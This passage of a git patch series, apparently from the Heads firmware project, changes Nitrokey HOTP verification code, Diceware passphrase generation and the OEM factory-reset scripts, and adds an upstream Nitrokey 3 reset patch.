uint16_t *fi - r = get_tlv(iccResult.data, iccResult.data_len, Tag_PINCounter, &counter_tlv); - if (!(r == RET_NO_ERROR && counter_tlv.tag == Tag_PINCounter)) { - // PIN counter not found - comm error (ignore) or PIN not set -- *attempt_counter = -1; -+ pin_counter_is_error = true; - } else { -- *attempt_counter = counter_tlv.v_data[0]; -+ response->retry_admin = counter_tlv.v_data[0]; -+ response->retry_user = counter_tlv.v_data[0]; - } - - TLV serial_tlv = {}; - r = get_tlv(iccResult.data, iccResult.data_len, Tag_SerialNumber, &serial_tlv); - if (r == RET_NO_ERROR && serial_tlv.tag == Tag_SerialNumber) { -- *serial_number = be32toh(*(uint32_t *) serial_tlv.v_data); -+ response->card_serial_u32 = be32toh(*(uint32_t *) serial_tlv.v_data); - } else { - // ignore errors - unsupported or hidden serial_tlv number -- *serial_number = 0; -+ response->card_serial_u32 = 0; - } - - TLV version_tlv = {}; - r = get_tlv(iccResult.data, iccResult.data_len, Tag_Version, &version_tlv); - if (!(r == RET_NO_ERROR && version_tlv.tag == Tag_Version)) { -- *firmware_version = 0; -+ response->firmware_version = 0; - return RET_COMM_ERROR; - } -- *firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); -+ response->firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); - -- if (*attempt_counter == -1) { -+ if (pin_counter_is_error == true) { - return RET_NO_PIN_ATTEMPTS; - } - return RET_NO_ERROR; -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index b26b3c7..ea463b4 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -10,7 +10,7 @@ int authenticate_ccid(struct Device *dev, const char *admin_PIN); - int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); --int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); -+int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H -diff --git a/src/structs.h b/src/structs.h -index 6309cd0..9e87134 100644 ---- a/src/structs.h -+++ b/src/structs.h -@@ -116,6 +116,25 @@ struct ResponseStatus { - uint8_t retry_user; /*not present in the firmware response for the Status command in v0.8 firmware*/ - }; - -+enum DeviceType { -+ Unknown = 0, -+ Nk3, -+ NkPro2, -+ NkStorage, -+ LibremKey, -+}; -+ -+struct FullResponseStatus { -+ enum DeviceType device_type; -+ struct ResponseStatus response_status; -+ struct { -+ // Only valid if device_type is NK3 -+ uint8_t pgp_admin_pin_retries; -+ uint8_t pgp_user_pin_retries; -+ uint32_t firmware_version; -+ } nk3_extra_info; -+}; -+ - - struct WriteToOTPSlot { - //admin auth From 98e20544efdd4f03697d0d6c0a13be8566d2e129 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 6 Dec 2024 16:22:52 -0500 Subject: [PATCH 413/619] functions: Fix spelling of 'dictionaries' Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- .../eff_short_wordlist_2_0.txt | 0 initrd/etc/functions | 4 ++-- 2 files changed, 2 insertions(+), 2 deletions(-) rename initrd/etc/{diceware_dictionnaries => diceware_dictionaries}/eff_short_wordlist_2_0.txt (100%) diff --git a/initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt b/initrd/etc/diceware_dictionaries/eff_short_wordlist_2_0.txt similarity index 100% rename from initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt rename to initrd/etc/diceware_dictionaries/eff_short_wordlist_2_0.txt diff --git a/initrd/etc/functions b/initrd/etc/functions index aa57676d9..ae25bc2b2 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -875,7 +875,7 @@ generate_passphrase() { usage_generate_passphrase() { echo "Usage: generate_passphrase --dictionary|-d [--number_words|-n ] [--max_length|-m ] [--lowercase|-l]" echo "Generates a passphrase using a Diceware dictionary." - echo " --dictionary|-d Path to the Diceware dictionary file (defaults to /etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt )." + echo " --dictionary|-d Path to the Diceware dictionary file (defaults to /etc/diceware_dictionaries/eff_short_wordlist_2_0.txt )." echo " [--number_words|-n ] Number of words in the passphrase (default: 3)." echo " [--max_length|-m ] Maximum size of the passphrase (default: 256)." echo " [--lowercase|-l] Use lowercase words (default: false)." @@ -910,7 +910,7 @@ generate_passphrase() { } TRACE_FUNC - local dictionary_file="/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt" + local dictionary_file="/etc/diceware_dictionaries/eff_short_wordlist_2_0.txt" local num_words=3 local max_size=256 local lowercase=false From be49517a0d00b4131617f7a845e5c69563bdf6ba Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 6 Dec 2024 16:24:20 -0500 Subject: [PATCH 414/619] functions: Simplify dictionary word selection The dice-rolls method was relatively complex and somewhat biased (~2.4% biased toward 1-4 on each roll due to modulo bias). Just pick a line from the dictionary at random. Using all 32 bits of entropy to pick a line once distributes the modulo bias so it is only 0.000003% biased toward the first 1263 words. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/etc/functions | 56 ++++++++++---------------------------------- 1 file changed, 13 insertions(+), 43 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index ae25bc2b2..2dabda7b3 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -881,32 +881,18 @@ generate_passphrase() { echo " [--lowercase|-l] Use lowercase words (default: false)." } - # Helper subfunction to get a word from the dictionary based on dice rolls - get_word_from_dictionary() { - local rolls="$1" - local dictionary_file="$2" - local word="" - - word=$(grep "^$rolls" "$dictionary_file" | awk -F ' ' '{print $2}') - echo "$word" - } - - # Helper subfunction to generate dice rolls - generate_dice_rolls() { - TRACE_FUNC - local num_rolls="$1" - local rolls="" - local random_bytes - - # Read num_rolls bytes from /dev/random, fed by CPU RRAND in one go - random_bytes=$(dd if=/dev/random bs=1 count="$num_rolls" 2>/dev/null | hexdump -e '1/1 "%u\n"') - - # Process each byte to generate a dice roll - while read -r byte; do - roll=$((byte % 6 + 1)) - rolls+=$roll - done <<<"$random_bytes" - echo "$rolls" + # Helper subfunction to get a random word from the dictionary + get_random_word_from_dictionary() { + local dictionary_file="$1" lines random + + lines="$(wc -l <"$dictionary_file")" + # 4 random bytes are used to reduce modulo bias to an acceptable + # level. 4 bytes with modulus 1296 results in 0.000003% bias + # toward the first 1263 words. + random="$(dd if=/dev/random bs=4 count=1 status=none | hexdump -e '1/4 "%u\n"')" + ((random%=lines)) + ((++random)) # tail's line count is 1-based + tail -n +"$random" "$dictionary_file" | head -1 | cut -d$'\t' -f2 } TRACE_FUNC @@ -961,25 +947,9 @@ generate_passphrase() { local passphrase="" local word="" - local key="" - local digits=0 - - # Read the number of digits from the first line of the dictionary file - read -r key _ <"$dictionary_file" - - # Validate that the key is composed entirely of digits - if ! [[ $key =~ ^[0-9]+$ ]]; then - echo "Error: Dictionary is not compliant with EFF diceware dictionaries." - echo "The first line of the dictionary should be in the format: " - echo "Example: 11111 word" - exit 1 - fi - - digits=${#key} #Number of digits in dice rolls for ((i = 0; i < num_words; ++i)); do - key=$(generate_dice_rolls "$digits") - word=$(get_word_from_dictionary "$key" "$dictionary_file") + word=$(get_random_word_from_dictionary "$dictionary_file") if [[ "$lowercase" == "false" ]]; then word=${word^} # Capitalize the first letter fi From 54baa37d4a808adc156393e9df5a9389ff6d94e0 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 6 Dec 2024 16:26:41 -0500 Subject: [PATCH 415/619] oem-factory-reset: Stop adding leading blank lines in 'passphrases' msg We're adding leading blank lines, which makes the prompt look odd and now have to be removed later. Just stop adding the leading blank lines. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 613569530..66340e65c 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1376,7 +1376,7 @@ if [[ "$SKIP_BOOT" == "n" ]]; then fi # passphrases set to be empty first -passphrases="\n" +passphrases="" # Prepare whiptail output of configured secrets if [ -n "$luks_new_Disk_Recovery_Key_passphrase" -o -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then @@ -1406,14 +1406,11 @@ fi # Show configured secrets in whiptail and loop until user confirms qr code was scanned while true; do - whiptail --msgbox " - $(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ + whiptail --msgbox "$(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ $HEIGHT $WIDTH --title "Configured secrets" - # strip the initial newline of passphrases - qr_code=$(echo -e "$passphrases" | sed '1s/^\n//') #Tell user to scan the QR code containing all configured secrets echo -e "\nScan the QR code below to save the secrets to a secure location" - qrenc "$qr_code" + qrenc "$(echo -e "$passphrases")" # Prompt user to confirm scanning of qrcode on console prompt not whiptail: y/n echo -e -n "Please confirm you have scanned the QR code above and/or written down the secrets? [y/N]: " read -n 1 prompt_output From 4ba7cc54957054c2b677eee73dfa4ad1eb46524d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Dec 2024 11:12:38 -0500 Subject: [PATCH 416/619] patches/hotp-verification-*/46.patch : readd https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46 so that this PR can be tested and reviewed from OEM Factory Reset/User Re-Ownership perspective (PR 43 not in which fixes hotp_verification info, needed to reuse default PINs under seal-hotp if pubkey age <1 month and if Secret app PIN/GPG Admin PIN count >=3 ) Repro: mkdir patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 wget https://patch-diff.githubusercontent.com/raw/Nitrokey/nitrokey-hotp-verification/pull/46.patch -O patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch sudo rm -rf build/x86/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/ ./docker_repro.sh make BOARD=qemu-coreboot-whiptail-tpm2-hotp USB_TOKEN=Nitrokey3NFC PUBKEY_ASC=pubkey.asc inject_gpg run Signed-off-by: Thierry Laurion --- .../46.patch | 219 ++++++++++++++++++ 1 file changed, 219 insertions(+) create mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch new file mode 100644 index 000000000..781c10ffa --- /dev/null +++ b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch @@ -0,0 +1,219 @@ +From de355ed93ba50280bf377772082b76b7a2285185 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Mon, 25 Nov 2024 17:04:47 +0100 +Subject: [PATCH 1/3] Add reset command for nitrokey 3 + +--- + src/main.c | 10 ++++++++-- + src/operations_ccid.c | 41 +++++++++++++++++++++++++++++++++++++++++ + src/operations_ccid.h | 1 + + 3 files changed, 50 insertions(+), 2 deletions(-) + +diff --git a/src/main.c b/src/main.c +index 059069e..b80b71d 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -21,6 +21,7 @@ + + #include "ccid.h" + #include "operations.h" ++#include "operations_ccid.h" + #include "return_codes.h" + #include "utils.h" + #include "version.h" +@@ -134,8 +135,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { + } + break; + case 'r': +- if (argc != 3) break; +- res = regenerate_AES_key(&dev, argv[2]); ++ if (strncmp(argv[1], "reset", 15) == 0) { ++ if (argc != 2) break; ++ res = nk3_reset(&dev); ++ } else if (strncmp(argv[1], "regenerate", 15) == 0) { ++ if (argc != 3) break; ++ res = regenerate_AES_key(&dev, argv[2]); ++ } + break; + default: + break; +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index eb46124..574155d 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -32,6 +32,47 @@ + #include + + ++ ++int nk3_reset(struct Device *dev) { ++ libusb_device *usb_dev; ++ struct libusb_device_descriptor usb_desc; ++ usb_dev = libusb_get_device(dev->mp_devhandle_ccid); ++ ++ int r = libusb_get_device_descriptor(usb_dev, &usb_desc); ++ ++ if (r < 0) { ++ return r; ++ } ++ ++ ++ if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { ++ return 0; ++ } ++ ++ ++ uint8_t buf[10]; ++ // encode ++ uint32_t icc_actual_length = iso7816_compose(buf, sizeof buf, Ins_Reset, 0xDE, 0xAD, 0, 0, NULL, 0); ++ ++ // encode ccid wrapper ++ icc_actual_length = icc_compose(dev->ccid_buffer_out, sizeof dev->ccid_buffer_out, ++ 0x6F, icc_actual_length, ++ 0, 0, 0, buf); ++ // send ++ IccResult iccResult; ++ r = ccid_process_single(dev->mp_devhandle_ccid, dev->ccid_buffer_in, sizeof dev->ccid_buffer_in, ++ dev->ccid_buffer_out, icc_actual_length, &iccResult); ++ if (r != 0) { ++ return r; ++ } ++ // check status code ++ if (iccResult.data_status_code != 0x9000) { ++ return 1; ++ } ++ ++ return RET_NO_ERROR; ++} ++ + int set_pin_ccid(struct Device *dev, const char *admin_PIN) { + TLV tlvs[] = { + { +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index b26b3c7..ec0070c 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -11,6 +11,7 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); + int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); ++int nk3_reset(struct Device *dev); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H + +From 8425e8c622138aef9ab207119e14f7cbedd40175 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Mon, 2 Dec 2024 10:29:59 +0100 +Subject: [PATCH 2/3] Add optional new pin when resetting + +--- + src/main.c | 9 +++++---- + src/operations_ccid.c | 6 +++++- + src/operations_ccid.h | 5 ++++- + 3 files changed, 14 insertions(+), 6 deletions(-) + +diff --git a/src/main.c b/src/main.c +index b80b71d..3f4a1cc 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -38,9 +38,10 @@ void print_help(char *app_name) { + "\t%s info\n" + "\t%s version\n" + "\t%s check \n" +- "\t%s regenerate \n" ++ "\t%s reset [ADMIN PIN]\n" ++ "\t%s regenerate\n" + "\t%s set [COUNTER]\n", +- app_name, app_name, app_name, app_name, app_name, app_name); ++ app_name, app_name, app_name, app_name, app_name, app_name, app_name); + } + + +@@ -136,8 +137,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { + break; + case 'r': + if (strncmp(argv[1], "reset", 15) == 0) { +- if (argc != 2) break; +- res = nk3_reset(&dev); ++ if (argc != 2 && argc != 3) break; ++ res = nk3_reset(&dev, argc == 3 ? argv[2]: NULL); + } else if (strncmp(argv[1], "regenerate", 15) == 0) { + if (argc != 3) break; + res = regenerate_AES_key(&dev, argv[2]); +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index 574155d..07834ce 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -33,7 +33,7 @@ + + + +-int nk3_reset(struct Device *dev) { ++int nk3_reset(struct Device *dev, const char * new_pin) { + libusb_device *usb_dev; + struct libusb_device_descriptor usb_desc; + usb_dev = libusb_get_device(dev->mp_devhandle_ccid); +@@ -70,6 +70,10 @@ int nk3_reset(struct Device *dev) { + return 1; + } + ++ if (new_pin != NULL) { ++ set_pin_ccid(dev, new_pin); ++ } ++ + return RET_NO_ERROR; + } + +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index ec0070c..61cad72 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -11,7 +11,10 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); + int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); +-int nk3_reset(struct Device *dev); ++// new_pin can be `null` ++// ++// If it is, no new pin will be set ++int nk3_reset(struct Device *dev, const char * new_pin); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H + +From 596f701985682adf6bfab06c78cbe132cbcb2aae Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Tue, 3 Dec 2024 10:48:27 +0100 +Subject: [PATCH 3/3] Fix null pointer bug on non nk3 + +--- + src/operations_ccid.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index 07834ce..538d434 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -36,6 +36,12 @@ + int nk3_reset(struct Device *dev, const char * new_pin) { + libusb_device *usb_dev; + struct libusb_device_descriptor usb_desc; ++ ++ if (!dev->mp_devhandle_ccid) { ++ // Not an NK3 ++ return RET_NO_ERROR; ++ } ++ + usb_dev = libusb_get_device(dev->mp_devhandle_ccid); + + int r = libusb_get_device_descriptor(usb_dev, &usb_desc); +@@ -46,7 +52,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { + + + if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { +- return 0; ++ return RET_NO_ERROR; + } + + From abc97fe1be517246e4a119ac0c06691feac4fb5e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 9 Dec 2024 12:48:16 -0500 Subject: [PATCH 417/619] WiP: staging changes including https://github.com/linuxboot/heads/pull/1850 https://github.com/Nitrokey/nitrokey-hotp-verification/pull/43 and https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46 Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 4 +- initrd/bin/kexec-insert-key | 2 +- initrd/bin/oem-factory-reset | 70 +++++++------ initrd/bin/seal-hotpkey | 10 +- initrd/bin/tpmr | 78 ++++++++------- initrd/etc/ash_functions | 2 +- initrd/init | 3 +- modules/hotp-verification | 6 +- .../46.patch | 97 ++++++++++++------- 9 files changed, 166 insertions(+), 106 deletions(-) rename patches/{hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 => hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d}/46.patch (67%) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 4bb8f4d97..9e94c30e1 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -162,7 +162,7 @@ generate_totp_hotp() echo if [ -x /bin/hotp_verification ]; then if [ "$CONFIG_TOTP_SKIP_QRCODE" != y ]; then - echo "Once you have scanned the QR code, hit Enter to configure your HOTP USB Security Dongle (e.g. Librem Key or Nitrokey)" + echo "Once you have scanned the QR code, hit Enter to configure your HOTP USB Security dongle (e.g. Librem Key or Nitrokey)" read fi /bin/seal-hotpkey @@ -644,7 +644,7 @@ TRACE_FUNC if [ -r /boot/kexec_hotp_key ]; then HOTPKEY_BRANDING="$(cat /boot/kexec_hotp_key)" else - HOTPKEY_BRANDING="HOTP USB Security Dongle" + HOTPKEY_BRANDING="HOTP USB Security dongle" fi if [ -x /bin/hotp_verification ]; then diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index ca5db6a57..68b9bed2c 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -92,7 +92,7 @@ echo '+++ Building initrd' # pad the initramfs (dracut doesn't pad the last gz blob) # without this the kernel init/initramfs.c fails to read # the subsequent uncompressed/compressed cpio -dd if="$INITRD" of="$SECRET_CPIO" bs=512 conv=sync || +dd if="$INITRD" of="$SECRET_CPIO" bs=512 conv=sync > /dev/null 2>&1 || die "Failed to copy initrd to /tmp" if [ "$unseal_failed" = "n" ]; then diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 66340e65c..17b714781 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -143,15 +143,26 @@ mount_boot() { reset_nk3_secret_app() { TRACE_FUNC - # Reset Nitrokey 3 Secrets App + # Reset Nitrokey 3 Secrets app with $ADMIN_PIN (default 12345678, or customised) if lsusb | grep -q "20a0:42b2"; then echo - warn "Resetting Nitrokey 3 Secrets App PIN. Physical presence (touch) will be required" - #TODO, change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed + warn "Resetting Nitrokey 3 Secrets App with PIN. Physical presence (touch) will be required" + # TODO: change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed # Reset Nitrokey 3 secret app with PIN - if ! /bin/hotp_verification reset "${ADMIN_PIN}"; then - whiptail_error_die "Failed to reset Nitrokey 3 Secrets App with error code $?, contact Nitrokey support" - fi + # Do 3 attempts to reset Nitrokey 3 Secrets App if return code is 3 (no touch) + for attempt in 1 2 3; do + if /bin/hotp_verification reset "${ADMIN_PIN}"; then + echo + return 0 + else + error_code=$? + if [ $error_code -eq 3 ] && [ $attempt -lt 3 ]; then + whiptail --msgbox "Nitrokey 3 requires physical presence: touch the dongle when requested" $HEIGHT $WIDTH --title "Nk3 cecrets app reset attempt: $attempt/3" + else + whiptail_error_die "Nitrokey 3 secrets app reset failed with error:$error_code. Contact Nitrokey support" + fi + fi + done fi } @@ -323,7 +334,7 @@ generate_inmemory_p256_master_and_subkeys() { keytocard_subkeys_to_smartcard() { TRACE_FUNC - #make sure usb ready and USB Security Dongle ready to communicate with + #make sure usb ready and USB Security dongle ready to communicate with enable_usb enable_usb_storage gpg --card-status >/dev/null 2>&1 || die "Error getting GPG card status" @@ -541,7 +552,7 @@ gpg_key_factory_reset() { reset_nk3_secret_app # Factory reset GPG card - echo "GPG factory reset of USB Security Dongle's smartcard..." + echo "GPG factory reset of USB Security dongle's OpenPGP smartcard..." { echo admin # admin menu echo factory-reset # factory reset smartcard @@ -595,7 +606,7 @@ gpg_key_factory_reset() { >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Setting key to NIST-P256 in USB Security Dongle failed." + whiptail_error_die "Setting key to NIST-P256 in USB Security dongle failed." fi # fallback to RSA key generation by default elif [ "$GPG_ALGO" = "RSA" ]; then @@ -617,7 +628,7 @@ gpg_key_factory_reset() { >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Setting key attributed to RSA ${RSA_KEY_LENGTH} bits in USB Security Dongle failed." + whiptail_error_die "Setting key attributed to RSA ${RSA_KEY_LENGTH} bits in USB Security dongle failed." fi else #Unknown GPG_ALGO @@ -631,7 +642,7 @@ generate_OEM_gpg_keys() { TRACE_FUNC #This function simply generates subkeys in smartcard following smarcard config from gpg_key_factory_reset - echo "Generating GPG keys in USB Security Dongle's smartcard..." + echo "Generating GPG keys in USB Security dongle's OpenPGP smartcard..." { echo admin # admin menu echo generate # generate keys @@ -645,6 +656,11 @@ generate_OEM_gpg_keys() { echo ${USER_PIN_DEF} # Default user PIN since we just factory reset } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 + #This outputs to console \ + # "gpg: checking the trustdb" + # "gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model" + # "gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u" + #TODO: Suppress this output to console (stdout shown in DEBUG mode)? if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "GPG Key automatic keygen failed!\n\n$ERROR" @@ -704,7 +720,7 @@ generate_checksums() { tpmr counter_create \ -pwdc '' \ -la -3135106223 | - tee /tmp/counter || + tee /tmp/counter >/dev/null 2>&1 || whiptail_error_die "Unable to create TPM counter" TPM_COUNTER=$(cut -d: -f1 /dev/null 2>&1; then - whiptail_warning --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 + whiptail_warning --title "WARNING: Please insert your HOTP enabled USB Security dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security dongle was not detected.\n\nPlease remove it and insert it again." 0 80 else break fi done if [ $attempt -eq 3 ]; then - die "No HOTP enabled USB Security Dongle detected. Please disable 'CONFIG_HOTPKEY' in the board config and rebuild." + die "No HOTP enabled USB Security dongle detected. Please disable 'CONFIG_HOTPKEY' in the board config and rebuild." fi # Don't output HOTP codes to screen, so as to make replay attacks harder @@ -872,7 +888,7 @@ report_integrity_measurements() { BG_COLOR_MAIN_MENU="error" ;; *) - HOTP="Error checking code, Insert USB Security Dongle and retry" + HOTP="Error checking code, Insert USB Security dongle and retry" BG_COLOR_MAIN_MENU="warning" ;; esac @@ -997,21 +1013,21 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then ; then GPG_GEN_KEY_IN_MEMORY="y" echo " ++++ Master key and subkeys will be generated in memory, backed up to dedicated LUKS container +++" - echo -e -n "Would you like in-memory generated subkeys to be copied to USB Security Dongle's smartcard?\n (Highly recommended so the smartcard is used on daily basis and backup is kept safe, but not required) [Y/n]: " + echo -e -n "Would you like in-memory generated subkeys to be copied to USB Security dongle's OpenPGP smartcard?\n (Highly recommended so the smartcard is used on daily basis and backup is kept safe, but not required) [Y/n]: " read -n 1 prompt_output echo if [ "$prompt_output" == "n" \ -o "$prompt_output" == "N" ]; then - warn "Subkeys will NOT be copied to USB Security Dongle's smartcard" + warn "Subkeys will NOT be copied to USB Security dongle's OpenPGP smartcard" warn "Your GPG key material backup thumb drive should be cloned to a second thumb drive for redundancy for production environements" GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" else - echo "++++ Subkeys will be copied to USB Security Dongle's smartcard ++++" + echo "++++ Subkeys will be copied to USB Security dongle's OpenPGP smartcard ++++" warn "Please keep your GPG key material backup thumb drive safe" GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="y" fi else - echo "GPG key material will be generated on USB Security Dongle's smartcard without backup" + echo "GPG key material will be generated on USB Security dongle's OpenPGP smartcard without backup" GPG_GEN_KEY_IN_MEMORY="n" GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" fi @@ -1177,24 +1193,24 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" ]; then fi else GPG_EXPORT=0 - # needed for USB Security Dongle below and is ensured via mount-usb in case of GPG_EXPORT=1 + # needed for USB Security dongle below and is ensured via mount-usb in case of GPG_EXPORT=1 enable_usb fi fi -# ensure USB Security Dongle connected if GPG_GEN_KEY_IN_MEMORY=n or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD=y +# ensure USB Security dongle connected if GPG_GEN_KEY_IN_MEMORY=n or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD=y if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - echo -e "\nChecking for USB Security Dongle...\n" + echo -e "\nChecking for USB Security dongle...\n" enable_usb if ! gpg --card-status >/dev/null 2>&1; then - local_whiptail_error "Can't access USB Security Dongle; \nPlease remove and reinsert, then press Enter." + local_whiptail_error "Can't access USB Security dongle; \nPlease remove and reinsert, then press Enter." if ! gpg --card-status >/dev/null 2>/tmp/error; then ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Unable to detect USB Security Dongle:\n\n${ERROR}" + whiptail_error_die "Unable to detect USB Security dongle:\n\n${ERROR}" fi fi - #Now that USB Security Dongle is detected, we can check its capabilities and limitations + #Now that USB Security dongle is detected, we can check its capabilities and limitations usb_security_token_capabilities_check fi @@ -1266,7 +1282,7 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then fi else #Generate GPG key and subkeys on smartcard only - echo -e "\nResetting USB Security Dongle's GPG smartcard...\n(this will take around 3 minutes...)\n" + echo -e "\nResetting USB Security dongle's GPG smartcard...\n(this will take around 3 minutes...)\n" gpg_key_factory_reset generate_OEM_gpg_keys fi @@ -1389,7 +1405,7 @@ fi #if nk3 detected, we add the NK3 Secre App PIN. Detect by product ID if lsusb | grep -q "20a0:42b2"; then - passphrases+="Nitrokey 3 Secrets App PIN: ${ADMIN_PIN}\n" + passphrases+="Nitrokey 3 Secrets app PIN: ${ADMIN_PIN}\n" fi #GPG PINs output diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 266bc48f6..2e78d7fb7 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -1,5 +1,5 @@ #!/bin/bash -# Retrieve the sealed TOTP secret and initialize a USB Security Dongle with it +# Retrieve the sealed TOTP secret and initialize a USB Security dongle with it . /etc/functions . /etc/gui_functions @@ -34,7 +34,7 @@ 